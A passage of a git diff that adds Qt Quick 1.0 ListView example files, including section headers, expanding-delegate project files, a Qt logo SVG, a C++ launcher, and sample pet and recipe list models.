+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ preferredHighlightBegin: 80; preferredHighlightEnd: 220
+ highlightRangeMode: ListView.ApplyRange
+ }
+
+ ListView {
+ id: list3
+ x: list1.width + list2.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125; preferredHighlightEnd: 125
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+ // The delegate for each list
+ Component {
+ id: petDelegate
+ Column {
+ width: 200
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/sections.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/sections.qml
new file mode 100644
index 00000000..4589bef8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/sections.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how a ListView can be separated into sections using
+// the ListView.section attached property.
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: container
+ width: 200
+ height: 250
+
+ ListModel {
+ id: animalsModel
+ ListElement { name: "Parrot"; size: "Small" }
+ ListElement { name: "Guinea pig"; size: "Small" }
+ ListElement { name: "Dog"; size: "Medium" }
+ ListElement { name: "Cat"; size: "Medium" }
+ ListElement { name: "Elephant"; size: "Large" }
+ }
+
+ // The delegate for each section header
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: container.width
+ height: childrenRect.height
+ color: "lightsteelblue"
+
+ Text {
+ text: section
+ font.bold: true
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: animalsModel
+ delegate: Text { text: name }
+
+ section.property: "size"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+ }
+}
+//! [0]
+
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.png b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.pro b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.pro
new file mode 100644
index 00000000..6f16882f
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/expandingdelegates
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEEA16F93
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/listview/expandingdelegates
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.qmlproject b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.qmlproject
new file mode 100644
index 00000000..5fa8ae91
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/expandingdelegates"
+ }
+ JavaScriptFiles {
+ directory: "qml/expandingdelegates"
+ }
+ ImageFiles {
+ directory: "qml/expandingdelegates"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.svg b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/main.cpp b/examples/declarative/modelviews/listview/expandingdelegates/main.cpp
new file mode 100644
index 00000000..b9c99a03
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/expandingdelegates/expandingdelegates.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PetsModel.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PetsModel.qml
new file mode 100644
index 00000000..76ddccbb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PetsModel.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Polly"
+ type: "Parrot"
+ age: 12
+ size: "Small"
+ }
+ ListElement {
+ name: "Penny"
+ type: "Turtle"
+ age: 4
+ size: "Small"
+ }
+ ListElement {
+ name: "Warren"
+ type: "Rabbit"
+ age: 2
+ size: "Small"
+ }
+ ListElement {
+ name: "Spot"
+ type: "Dog"
+ age: 9
+ size: "Medium"
+ }
+ ListElement {
+ name: "Schrödinger"
+ type: "Cat"
+ age: 2
+ size: "Medium"
+ }
+ ListElement {
+ name: "Joey"
+ type: "Kangaroo"
+ age: 1
+ size: "Medium"
+ }
+ ListElement {
+ name: "Kimba"
+ type: "Bunny"
+ age: 65
+ size: "Large"
+ }
+ ListElement {
+ name: "Rover"
+ type: "Dog"
+ age: 5
+ size: "Large"
+ }
+ ListElement {
+ name: "Tiny"
+ type: "Elephant"
+ age: 15
+ size: "Large"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PressAndHoldButton.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PressAndHoldButton.qml
new file mode 100644
index 00000000..f160a1de
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PressAndHoldButton.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+
+ property int repeatDelay: 300
+ property int repeatDuration: 75
+ property bool pressed: false
+
+ signal clicked
+
+ scale: pressed ? 0.9 : 1
+
+ function release() {
+ autoRepeatClicks.stop()
+ container.pressed = false
+ }
+
+ SequentialAnimation on pressed {
+ id: autoRepeatClicks
+ running: false
+
+ PropertyAction { target: container; property: "pressed"; value: true }
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDelay }
+
+ SequentialAnimation {
+ loops: Animation.Infinite
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDuration }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: autoRepeatClicks.start()
+ onReleased: container.release()
+ onCanceled: container.release()
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/RecipesModel.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/RecipesModel.qml
new file mode 100644
index 00000000..83baeee8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/RecipesModel.qml
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ title: "Pancakes"
+ picture: "content/pics/pancakes.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Fruit Salad"
+ picture: "content/pics/fruit-salad.jpg"
+ ingredients: "* Seasonal Fruit"
+ method: "* Chop fruit and place in a bowl."
+ }
+ ListElement {
+ title: "Vegetable Soup"
+ picture: "content/pics/vegetable-soup.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Hamburger"
+ picture: "content/pics/hamburger.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Lemonade"
+ picture: "content/pics/lemonade.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/TextButton.qml b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/TextButton.qml
new file mode 100644
index 00000000..bc684dc1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/TextButton.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
